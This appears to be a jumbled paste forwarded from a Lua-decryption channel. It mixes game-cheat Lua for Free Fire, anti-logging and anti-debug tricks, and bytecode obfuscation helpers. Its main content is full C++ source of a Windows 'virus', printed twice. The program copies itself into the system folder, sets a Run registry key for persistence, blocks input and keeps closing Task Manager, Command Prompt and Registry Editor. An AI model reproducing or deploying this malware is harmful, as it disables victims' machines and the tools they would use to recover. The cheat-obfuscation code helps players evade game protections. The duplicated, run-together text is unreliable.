-- // IQ CAO // --
A=0 B=0 z={}b=
{}E={32,46,44,45,126,
58,59,61,33,42,35,36,64}S
=math.sin C=math.cos F=math.
floor I=io.write T=string.char W=60
P=print H=25 P("\\x1b[2J")for w=1,240
do for o=0,W*H do b[o]=1 z[o]=0 end e=
S(A)g=C(A)m=C(B)n=S(B)for j=0,6.28,.09
do d=C(j)f=S(j) for i=0,6.28,.04
do c=S(i)h=d+2 D =1/(c*h*e+f*g+5)
l=C(i)t=c*h*g- f*e x=F(W/2+W*
.3*D*(l*h*m-t*n ))y=F(H/2+H*.6*
D*(l*h*n+t*m))o =x+W*y N=math.
max(0,F(8*((f*e-c*d*g)*m-c*d*e-f*g -l*
d *n)))+2 if H> y and y>0 and x>0 and
W>x and D> z[o] then z[o]=D b[o]=N
end end end P( "\\x1b[H")for k=0
,W* H do if k%W~=0 then I(T(
E[b[k]]))else I( T( 10))
end end A = A + .04
B=B+.02 endNew anti log ( Log Đầu Bùi ok )
x = string.char(0x4c,0x6f,0x67,0x20,0xc4,0x90,0xe1,0xba,0xa7,0x75,0x20,0x42,0xc3,0xb9,0x69,0x20,0x4f,0x6b):rep(999)
for i = 1,1000 do
debug.getinfo(1,nil,x)
end
😂😂
x = string.char(0x4c,0x6f,0x67,0x20,0xc4,0x90,0xe1,0xba,0xa7,0x75,0x20,0x42,0xc3,0xb9,0x69,0x20,0x4f,0x6b):rep(999)
for i = 1,1000 do
debug.getinfo(1,nil,x)
end
😂😂
[Dec]Simpel GZ¹.ARSGEMING.lua
45.7 KB
Game > Free Fire 1.57.x
Encoded > ENCYPT BY ARS GEMING
Encoded > ENCYPT BY ARS GEMING
true == ((function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['x']==(function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['y'])==((function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['z']==(function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['v'])
false == ((function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['x']==(function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['y'])==((function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['z'] and (function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['v'])#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <ctime>
using namespace std;
int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";
void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();
DWORD WINAPI DestroyWindows(LPVOID);
int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
mywindow = FindWindow(NULL,":.Virus.:");
cout<<"You Are Doomed";
Sleep(1000);
ShowWindow(mywindow, false);
}
void Run( int ID )
{
if( ID == 1 )
{
BlockInput(true);
}
else if( ID == 2 )
{
Beeper();
}
else if( ID == 3 )
{
OpenStuff();
}
else if( ID == 4 )
{
Hibernation();
}
else if( ID == 5 )
{
CrazyMouse();
}
else
{
BlockInput(true);
Beeper();
OpenStuff();
CrazyMouse();
}
}
void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}
DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
Sleep(10);
}
}
#include <stdio.h>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <ctime>
using namespace std;
int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";
void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();
DWORD WINAPI DestroyWindows(LPVOID);
int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
mywindow = FindWindow(NULL,":.Virus.:");
cout<<"You Are Doomed";
Sleep(1000);
ShowWindow(mywindow, false);
}
void Run( int ID )
{
if( ID == 1 )
{
BlockInput(true);
}
else if( ID == 2 )
{
Beeper();
}
else if( ID == 3 )
{
OpenStuff();
}
else if( ID == 4 )
{
Hibernation();
}
else if( ID == 5 )
{
CrazyMouse();
}
else
{
BlockInput(true);
Beeper();
OpenStuff();
CrazyMouse();
}
}
void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}
DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
Sleep(10);
}
}
local h2b = {
['0']='0000', ['1']='0001', ['2']='0010', ['3']='0011',
['4']='0100', ['5']='0101', ['6']='0110', ['7']='0111',
['8']='1000', ['9']='1001', ['A']='1010', ['B']='1011',
['C']='1100', ['D']='1101', ['E']='1110', ['F']='1111'
}
function hex2bin(n)
return n:upper():gsub(".", h2b)
end
function dec2bin(n)
return hex2bin(tostring(n):format("%X"))
end
['0']='0000', ['1']='0001', ['2']='0010', ['3']='0011',
['4']='0100', ['5']='0101', ['6']='0110', ['7']='0111',
['8']='1000', ['9']='1001', ['A']='1010', ['B']='1011',
['C']='1100', ['D']='1101', ['E']='1110', ['F']='1111'
}
function hex2bin(n)
return n:upper():gsub(".", h2b)
end
function dec2bin(n)
return hex2bin(tostring(n):format("%X"))
end
--String to binary
-- 1. Convert String to HEX
function string.tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c)) end))
end
-- 2. Helper function to covert base n number
function basen(n,b)
n = math.floor(n)
if not b or b == 10 then return tostring(n) end
local digits = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
local t = {}
local sign = ""
if n < 0 then sign = "-" n = -n end
repeat local d = (n % b) + 1 n = math.floor(n / b)
table.insert(t, 1, digits:sub(d,d)) until n == 0
return sign .. table.concat(t,"")
end
-- 3. Function to convert Hex to bin
function hex2bin(s)
dec = tonumber(s,16)
return tostring(basen(dec,2))
end
--- testing
str = 'im XOR'
s = string.tohex(str)
print(s) -- = 696D20584F52
bin = hex2bin(s)
print(bin) -- = 11010010110110100100000010110000100111101010010
-- 1. Convert String to HEX
function string.tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c)) end))
end
-- 2. Helper function to covert base n number
function basen(n,b)
n = math.floor(n)
if not b or b == 10 then return tostring(n) end
local digits = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
local t = {}
local sign = ""
if n < 0 then sign = "-" n = -n end
repeat local d = (n % b) + 1 n = math.floor(n / b)
table.insert(t, 1, digits:sub(d,d)) until n == 0
return sign .. table.concat(t,"")
end
-- 3. Function to convert Hex to bin
function hex2bin(s)
dec = tonumber(s,16)
return tostring(basen(dec,2))
end
--- testing
str = 'im XOR'
s = string.tohex(str)
print(s) -- = 696D20584F52
bin = hex2bin(s)
print(bin) -- = 11010010110110100100000010110000100111101010010
/lua
local str = "print (\" nhu long lon \")"
print (str)
str = string.dump(load(str), true, true)
print (str)
str = string.gsub(str, '.', function (c)
return string.format("\\x%02x", c:byte())
end)
print ("load(\"" .. str .. "\")()")if debug.traceback == nil or gg.getFile == nil then while(true) do return end end
Forwarded from DeCrypt All Lua (𝙃𝙤𝙩𝙜𝙞𝙧𝙡𝙘𝙝𝙞𝙣𝙖)